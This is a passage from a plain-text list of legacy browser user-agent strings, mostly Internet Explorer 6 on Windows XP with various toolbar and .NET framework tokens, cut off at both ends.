2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; GTB6; FunWebProducts; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; MSN Optimized;US)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Grip Toolbar 2.07a; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; HbTools 4.6.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; HbTools 4.7.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; HbTools 4.7.0; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; HbTools 4.7.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; HbTools 4.7.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; HbTools 4.7.3)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 3.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 3.0; (R1 1.3))\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 3.0; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 3.0; Q312461)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 3.0; YComp 5.0.2.4)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.0; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.0; YComp 5.0.2.5)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.1.2.0; YComp 5.0.2.6)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.1.5.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.1.5.0; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.1.5.0; YComp 5.0.0.0; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.1.7.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.1.8.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.1.8.0; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.1.8.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.2.10.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.2.11.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.2.11.0; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.2.13.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.2.14.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.2.14.0; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.2.4.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.2.6.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.2.8.0; (R1 1.3))\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.2.8.0; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.3.1.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.3.1.0; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.3.1.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.3.1.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.3.1.0; Crazy Browser 1.0.5; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.3.2.0; FunWebProducts; i-NavFourF)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.3.5.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.3.5.0; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.3.5.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.3.5.0; MSIECrawler)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.4.1.1388)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.4.1.1406)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.4.2.0; FunWebProducts)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.4.5.0; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.4.6.0; SV1; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.4.7.0; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.5.0.0; SV1; (R1 1.5); .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.5.1.0; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Hotbar 4.6.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; IT) Opera 8.0\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; InfoPath.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; InfoPath.1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; InfoPath.1; .NET CLR 2.0.50727; MS-RTC LM 8; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; KKman2.0; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; KKman3.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; LN; SV1; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MEGAUPLOAD 1.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MEGAUPLOAD 1.0; pt-br) Opera 9.25\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MS-RTC LM 8; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1; .NET4.0C; .NET4.0E)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MSIECrawler)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MSN Optimized;US)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MathPlayer 2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MathPlayer 2.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MathPlayer 2.0; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MathPlayer 2.0; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MathPlayer2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; .NET CLR 1.1.4322; Maxthon 2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; .NET CLR 2.0.50727; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; SV1; FDM; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; i-NavFourF; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Crazy Browser 2.0.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; MEGAUPLOAD 1.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.2; .NET CLR 2.0.50727; Zango 10.3.75.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT))\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT); SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2; Crazy Browser 1.0.5; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2; Maxthon; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2; SV1; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2; SV1; Maxthon; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2; SV1; iebar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MyIE2; YComp 5.0.2.6)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; PeoplePal 3.0; MSIECrawler)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; PeoplePal 6.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; (R1 1.1); MSIECrawler)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; (R1 1.3); .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; .NET CLR 1.0.3705; .NET CLR 1.0.3617; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; .NET CLR 1.0.3705; MSIECrawler)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; Crazy Browser 1.0.5)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; FunWebProducts; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; FunWebProducts; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; Hotbar 3.0; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; Hotbar 4.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; Hotbar 4.1.7.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; Hotbar 4.1.8.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; Hotbar 4.1.8.0; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; Hotbar 4.3.1.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; Hotbar 4.3.6.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; IOpener Release 1.1.04)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; MSIECrawler)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; MyIE2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; MyIE2; YComp 5.0.2.6)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; (R1 1.5))\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; (R1 1.5); .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Crazy Browser 2.0.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Crazy Browser 2.0.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; .NET CLR 1.0.3705; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; .NET CLR 1.0.3705; Alexa Toolbar; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; .NET CLR 1.1.4322; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; .NET CLR 1.1.4322; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; FunWebProducts)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; FunWebProducts; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; Hotbar 4.5.1.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; Hotbar 4.6.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; InfoPath.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; YPC 3.0.1; FunWebProducts; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; SV1; YPC 3.2.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; Wanadoo 5.5)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; Wanadoo 6.1; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; YComp 5.0.0.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; YComp 5.0.0.0; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; YComp 5.0.2.4)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; YComp 5.0.2.4; Hotbar 3.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; YComp 5.0.2.4; SV1; .NET CLR 1.0.3705; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; YComp 5.0.2.5)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; YComp 5.0.2.6)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; YComp 5.0.2.6; Hotbar 4.2.11.0; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; YPC 3.0.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; yplus 4.1.00b)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QQDownload 667; SV1; QQDownload 669; TencentTraveler 4.0; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QQPinyin 730; SV1; TencentTraveler 4.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0  qihoobot@qihoo.net)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Rogers Hi-Speed Internet; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Rogers Hi-Speed Internet; SV1; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Rogers Hi-Speed Internet; SV1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Rogers Hi-Speed Internet; SV1; YPC 3.2.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SIMBAR Enabled; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Opera 8.60 [en]\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Opera 8.65 [en]\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Sleipnir/2.30\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Sleipnir/2.5.12\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Sleipnir/2.7.2\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;       .NET CLR 1.1.4322; InfoPath.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;  Embedded Web Browser from: http://bsalsa.com/; MSIECrawler)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;  http://www.changedetection.com/bot.html )\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.1); .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.1); .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.1); InfoPath.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.3))\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.3); .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.3); .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.3); .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.3); .NET CLR 1.1.4322; .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.3); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.3); .NET CLR 1.1.4322; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.3); .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.3); HbTools 4.7.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.3); InfoPath.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.3; Crazy Browser 2.0.1); .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5))\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 1.0.3705)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 1.0.3705; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 3.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 1.0.3705; Tablet PC 1.7; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 1.1.4322; .NET CLR 2.0.50215)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 1.1.4322; Alexa Toolbar)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 1.1.4322; FDM)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 1.1.4322; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 1.1.4322; InfoPath.1; Seekmo 10.0.345.0)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); .NET CLR 2.0.50727; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); HbTools 4.6.2)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); InfoPath.1; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.5); PeoplePal 3.0; .NET CLR 1.1.4322)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.6); .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.6); .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.6); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.6); .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.6); .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; (R1 1.6); InfoPath.2; .NET CLR 2.0.50727)\nMozilla/4.0 (compatible; MSIE 6.0; 